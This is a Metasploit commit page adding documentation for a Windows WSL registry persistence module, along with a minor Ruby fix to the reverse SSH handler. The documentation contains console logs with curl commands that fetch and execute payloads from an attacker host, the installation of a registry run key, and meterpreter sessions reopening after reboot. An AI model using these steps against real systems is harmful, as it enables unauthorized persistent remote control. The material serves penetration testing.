Skip to content

Commit e2097ee

Browse files
msutovsky-r7msutovsky-r7
authored
Land #20701, adds windows WSL registry persistence module
Windows WSL registry persistence
2 parents d79e8a3 + abaa4e6 commit e2097ee

File tree

3 files changed

+417
-1
lines changed

3 files changed

+417
-1
lines changed

‎documentation/modules/exploit/windows/persistence/wsl/registry.md‎

Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
## Vulnerable Application
2+
3+
This module will install a payload in WSL and execute it at user
4+
logon or system startup via the registry value in "CurrentVersion\Run"
5+
or "RunOnce" (depending on privilege and selected method).
6+
The payload will be installed completely in registry.
7+
8+
Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload
9+
will ask for the stage, then submit the HTTP fetch request
10+
and when the payload is sent it doesn't execute.
11+
12+
`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.
13+
14+
## Verification Steps
15+
16+
1. Start msfconsole
17+
2. Get a shell on Windows
18+
3. Do: `use exploit/windows/persistence/wsl/registry`
19+
4. Do: `set session #`
20+
5. Do: `run`
21+
6. You should get a shell on user or system login.
22+
23+
## Options
24+
25+
### STARTUP
26+
27+
Startup type for the persistent payload. Options are `USER` and `SYSTEM`, defaults to `USER`.
28+
29+
### RUN_NAME
30+
31+
The name to use for the `Run` key. Default: random
32+
33+
### REG_KEY
34+
35+
Registry Key To Install To. Options are `Run` and `RunOnce`. Defaults to `Run`
36+
37+
### PAYLOAD_NAME
38+
39+
The filename for the payload to be used on the target host (random by default).
40+
41+
## Scenarios
42+
43+
### Windows 10 1909 (10.0 Build 18363) User access
44+
45+
Obtain original shell
46+
47+
```
48+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
49+
verbose => true
50+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
51+
lhost => 1.1.1.1
52+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
53+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
54+
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
55+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
56+
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
57+
fetch_command => CURL
58+
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
59+
fetch_pipe => true
60+
resource (/root/.msf4/msfconsole.rc)> set lport 4450
61+
lport => 4450
62+
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
63+
FETCH_URIPATH => w3
64+
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
65+
FETCH_FILENAME => mkaKJBzbDB
66+
resource (/root/.msf4/msfconsole.rc)> to_handler
67+
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe
68+
69+
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
70+
[*] Payload Handler Started as Job 0
71+
[*] Fetch handler listening on 1.1.1.1:8080
72+
[*] HTTP server started
73+
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
74+
[*] Adding resource /w3
75+
[*] Started reverse TCP handler on 1.1.1.1:4450
76+
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
77+
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
78+
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
79+
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2025-11-16 07:11:24 -0500
80+
81+
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
82+
[*] Starting interaction with 1...
83+
84+
meterpreter > sysinfo
85+
Computer : WIN10PROLICENSE
86+
OS : Windows 10 1909 (10.0 Build 18363).
87+
Architecture : x64
88+
System Language : en_US
89+
Domain : WORKGROUP
90+
Logged On Users : 2
91+
Meterpreter : x64/windows
92+
meterpreter > getuid
93+
Server username: WIN10PROLICENSE\windows
94+
meterpreter > background
95+
[*] Backgrounding session 1...
96+
```
97+
98+
Persistence
99+
100+
```
101+
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/wsl/registry
102+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
103+
msf exploit(windows/persistence/wsl/registry) > set session 1
104+
session => 1
105+
msf exploit(windows/persistence/wsl/registry) > set payload
106+
Display all 403 possibilities? (y or n)
107+
msf exploit(windows/persistence/wsl/registry) > set payload cmd/linux/http/x64/meterpreter_reverse_tcp
108+
payload => cmd/linux/http/x64/meterpreter_reverse_tcp
109+
msf exploit(windows/persistence/wsl/registry) > exploit
110+
[*] Command to run on remote host: curl -so ./OOrIkKMB http://1.1.1.1:8080/rnjdQxeDeP7M_rcLHU37ew;chmod +x ./OOrIkKMB;./OOrIkKMB&
111+
[*] Exploit running as background job 1.
112+
[*] Exploit completed, but no session was created.
113+
msf exploit(windows/persistence/wsl/registry) >
114+
[*] Fetch handler listening on 1.1.1.1:8080
115+
[*] HTTP server started
116+
[*] Adding resource /rnjdQxeDeP7M_rcLHU37ew
117+
[*] Started reverse TCP handler on 1.1.1.1:4444
118+
[!] SESSION may not be compatible with this module:
119+
[!] * incompatible session platform: windows. This module works with: Unix, Linux.
120+
[*] Running automatic check ("set AutoCheck false" to disable)
121+
[+] Powershell detected on system
122+
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rdtGlT3MB3n0dVy
123+
[+] The target is vulnerable. Registry writable and WSL installed
124+
[*] Root path is HKCU
125+
[*] Enumerating WSL Instances
126+
WSL
127+
===
128+
129+
# Instance_Name State Version Default
130+
- ------------- ----- ------- -------
131+
1 Ubuntu Stopped 1 true
132+
133+
[*] Writing payload to: /tmp/DOgQVT
134+
[+] Payload wrote successfully
135+
[*] Installing run key
136+
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\91xgjErF
137+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251116.2715/WIN10PROLICENSE_20251116.2715.rc
138+
```
139+
140+
Reboot the system
141+
142+
```
143+
[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
144+
[*] Client 2.2.2.2 requested /rnjdQxeDeP7M_rcLHU37ew
145+
[*] Sending payload to 2.2.2.2 (curl/8.5.0)
146+
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49712) at 2025-11-16 07:29:39 -0500
147+
[-] Meterpreter session 2 is not valid and will be closed
148+
[*] 2.2.2.2 - Meterpreter session 2 closed.
149+
150+
msf exploit(windows/persistence/wsl/registry) > sessions -i 3
151+
[*] Starting interaction with 3...
152+
153+
meterpreter > getuid
154+
Server username: windows
155+
meterpreter > sysinfo
156+
Computer : win10prolicensed.localdomain
157+
OS : Ubuntu 24.04 (Linux 4.4.0-18362-Microsoft)
158+
Architecture : x64
159+
BuildTuple : x86_64-linux-musl
160+
Meterpreter : x64/linux
161+
meterpreter > background
162+
[*] Backgrounding session 3...
163+
msf exploit(windows/persistence/wsl/registry) > [*] 2.2.2.2 - Meterpreter session 3 closed. Reason: Died
164+
165+
[*] Client 2.2.2.2 requested /rnjdQxeDeP7M_rcLHU37ew
166+
[*] Sending payload to 2.2.2.2 (curl/8.5.0)
167+
[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:49726) at 2025-11-16 07:36:17 -0500
168+
```

‎lib/msf/core/handler/reverse_ssh.rb‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ def listener_uri(addr = datastore['ReverseListenerBindAddress'])
5959
def setup_handler
6060
# The current SSH server implementation does not support OpenSSL 3
6161
if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
62-
raise RuntimeError, "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported."
62+
raise "ReverseSSH failed to load. OpenSSL version #{OpenSSL::VERSION} not supported."
6363
end
6464

6565
local_addr = nil
@@ -141,6 +141,8 @@ def create_session(ssh, opts = {})
141141
# Always wait at least 5 seconds for this payload (due to channel delays)
142142
#
143143
def wfs_delay
144+
return 5 if datastore['WfsDelay'].nil?
145+
144146
datastore['WfsDelay'] > 4 ? datastore['WfsDelay'] : 5
145147
end
146148
attr_accessor :service # :nodoc:

0 commit comments

Comments
 (0)